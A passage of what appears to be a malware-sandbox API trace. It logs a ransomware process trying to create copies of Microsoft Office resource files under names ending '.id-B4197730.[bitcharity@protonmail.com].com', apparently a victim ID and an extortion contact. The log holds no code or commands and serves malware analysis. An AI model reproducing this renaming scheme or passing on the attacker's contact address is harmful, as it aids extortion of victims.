files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\10266\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.769] CloseHandle (hObject=0x1278) returned 1 [0266.769] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.769] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1027\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.770] CloseHandle (hObject=0x1278) returned 1 [0266.770] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.770] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1028\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.771] CloseHandle (hObject=0x1278) returned 1 [0266.771] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.771] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1029\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.772] CloseHandle (hObject=0x1278) returned 1 [0266.772] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.772] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1030\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.772] CloseHandle (hObject=0x1278) returned 1 [0266.774] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.774] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1031\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.774] CloseHandle (hObject=0x1278) returned 1 [0266.775] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.775] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1032\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.775] CloseHandle (hObject=0x1278) returned 1 [0266.776] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.776] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1033\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.776] CloseHandle (hObject=0x1278) returned 1 [0266.779] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.780] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1035\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.780] CloseHandle (hObject=0x1278) returned 1 [0266.780] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.781] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1036\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.781] CloseHandle (hObject=0x1278) returned 1 [0266.782] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.782] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1037\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.782] CloseHandle (hObject=0x1278) returned 1 [0266.782] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.783] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1038\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.783] CloseHandle (hObject=0x1278) returned 1 [0266.784] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.784] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1040\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.784] CloseHandle (hObject=0x1278) returned 1 [0266.785] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.786] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1041\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.786] CloseHandle (hObject=0x1278) returned 1 [0266.787] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.787] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1042\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.787] CloseHandle (hObject=0x1278) returned 1 [0266.787] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.788] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1043\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.788] CloseHandle (hObject=0x1278) returned 1 [0266.789] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.789] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1044\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.789] CloseHandle (hObject=0x1278) returned 1 [0266.790] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.790] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1045\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.790] CloseHandle (hObject=0x1278) returned 1 [0266.791] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.791] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1046\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.791] CloseHandle (hObject=0x1278) returned 1 [0266.792] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.792] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1048\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.792] CloseHandle (hObject=0x1278) returned 1 [0266.793] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.793] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1049\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.793] CloseHandle (hObject=0x1278) returned 1 [0266.794] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.794] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1050\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.794] CloseHandle (hObject=0x1278) returned 1 [0266.795] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.795] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1051\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.795] CloseHandle (hObject=0x1278) returned 1 [0266.796] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.796] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1053\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.796] CloseHandle (hObject=0x1278) returned 1 [0266.797] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.797] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0266.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\PowerPivotExcelClientAddIn.rll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1054\\powerpivotexcelclientaddin.rll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.797] CloseHandle (hObject=0x1278) returned 1 [0267.662] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.663] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART12.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart12.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.663] CloseHandle (hObject=0x127c) returned 1 [0267.664] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.664] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART13.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart13.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.664] CloseHandle (hObject=0x127c) returned 1 [0267.666] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.666] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART14.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart14.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.667] CloseHandle (hObject=0x127c) returned 1 [0267.668] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.668] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART15.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart15.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.669] CloseHandle (hObject=0x127c) returned 1 [0267.670] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.670] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\MSART2.BDR.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\msart2.bdr.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.670] CloseHandle (hObject=0x127c) returned 1 [0267.672] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0267.672] SetFilePointerEx (in: 